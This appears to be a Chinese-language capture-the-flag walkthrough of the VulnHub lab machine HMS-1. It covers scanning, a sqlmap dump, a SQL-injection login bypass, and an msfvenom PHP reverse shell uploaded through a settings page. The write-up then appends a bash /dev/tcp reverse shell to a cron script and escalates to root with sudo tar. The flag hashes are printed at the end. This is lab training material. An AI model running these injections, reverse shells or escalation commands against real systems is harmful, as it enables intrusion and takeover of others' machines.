『vulnhub系列』HMS?-1

下载地址:

1
https://www.vulnhub.com/entry/hms-1,728/

信息搜集:

使用nmap进行存活主机探测,发现开启了21端口(ftp)和22端口(ssh)

Untitled

匿名登录ftp看看里面有什么东西,发现什么都没有

1
2
ftp 192.168.199.133
#使用anonymous登录,无需输入密码

Untitled

进行全面扫描,发现开启了7080端口

1
nmap 192.168.199.133 -p 1-65535

Untitled

访问7080端口的服务发现存在一个登录页面

Untitled

使用dirsearch进行目录扫描

1
dirsearch -u "http://192.168.199.133:7080/"

Untitled

在登录页面查看是否存在sql注入,发现确实存在,一个报错注入一个盲注

1
sqlmsqlmap -u http://192.168.199.133:7080/login.php --data="user=admin&email=admin%40123&password=asd&btn_login="

Untitled

查看数据库

1
sqlmap -u http://192.168.199.133:7080/login.php --data="user=admin&email=admin%40123&password=asd&btn_login=" --dbs

Untitled

查看数据库中的表

1
sqlmap -u http://192.168.199.133:7080/login.php --data="user=admin&email=admin%40123&password=asd&btn_login=" -D 'clinic_db' --tables

Untitled

查看admin表中的字段,发现邮箱为 ndbhalerao91@gmail.com ,但是我们发现密码并不是明文

1
sqlmap -u http://192.168.199.133:7080/login.php --data="user=admin&email=admin%40123&password=asd&btn_login=" -D 'clinic_db' -T 'admin' --dump

Untitled

漏洞利用:

我们之前发现,是存在报错注入的并且看payload是通过单引号闭合的

1
Payload: user=admin&email=admin@123' OR (SELECT 9709 FROM(SELECT COUNT(*),CONCAT(0x7170707671,(SELECT (ELT(9709=9709,1))),0x716b706b71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- nnPx&password=asd&btn_login=

Untitled

我们使用万能密码发现带有前端验证

Untitled

我们使用burp抓包,使用Repeater确认一下,发现Login Successfully

1
user=admin&email=ndbhalerao91%40gmail.com' or 1=1 #&password=asd&btn_login=

Untitled

我们放包,登录成功

Untitled

找了半天,没有发现什么地方可疑,我们再使用另一个工具扫描一下目录,因为并没有登录,所以这些302的跳转页面,其实也是存在的

1
gobuster dir -u "http://192.168.199.133:7080/" -w /usr/share/wordlists/dirb/big.txt -x .php

Untitled

我们发现了setting页面,存在文件上传页面。上传使用msfvenom 生成的反弹shell

1
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.199.129 lport=4444 -o re_shell.php

Untitled

然后发现上面出现了一串图片

Untitled

新标签页访问,发现新的目录/uploadImage

Untitled

最后在/uploadImage/Logo/ 中发现我们的re_shell.php

Untitled

此时在我们的攻击机开启监听

1
2
3
4
5
msfconsole
use exploit/multi/handler
set lhost 192.168.199.133
set payload php/meterpreter/reverse_tcp
run

Untitled

反弹成功

Untitled

提升权限:

查看具有SUID权限的命令,发现/usr/bin/bash我们可以借此切换用户

1
find / -perm -u=s -type f 2>/dev/null

Untitled

使用命令,成功切换为eren 用户

1
/usr/bin/bash -p

Untitled

但是使用命令sudo -l发现还是要输入密码,因此此时我们的eren用户的权限并不完整

我们查看计划任务

1
cat /etc/crontab

Untitled

发现一条计划任务*/5 * * * * eren /home/eren/backup.sh

1
2
3
4
5
关于计划任务:
* * * * *
分 时 日 月 周
而对于这条命令意思就是每五分钟执行一次
*/5 * * * * eren /home/eren//backup.sh

可以看到这个文件正好早eren的家目录下。那么我们刚刚切换为eren用户的操作就可以用到了,使用eren权限我们将反弹shell写入/backup.sh

1
echo "bash -i >& /dev/tcp/192.168.199.129/7777 0>&1" >> /home/eren/backup.sh

之后在攻击机使用nc等待

1
nc -lvp 7777

Untitled

连接成功,获得完整的eren用户权限

使用命令sudo -l 查看用户可以在机器上运行的命令,发现tar命令可以以root权限执行

现在我们使用tar的sudo提权

1
sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh
  • -cf /dev/null /dev/null 将/dev/null 打包为 /dev/null
  • -c 打包
  • -f 打包为f后面的名字
  • —checkpoint=1 每打包一个文件就到达一个检查点
  • —checkpoint-action=exec=/bin/sh 到达检查点后执行的命令

获得root权限

Untitled

成果:

/home/nivek/local.txt

1
3bbf8c168408f1d5ff9dfd91fc00d0c1

/root/root.txt

1
299c10117c1940f21b70a391ca125c5d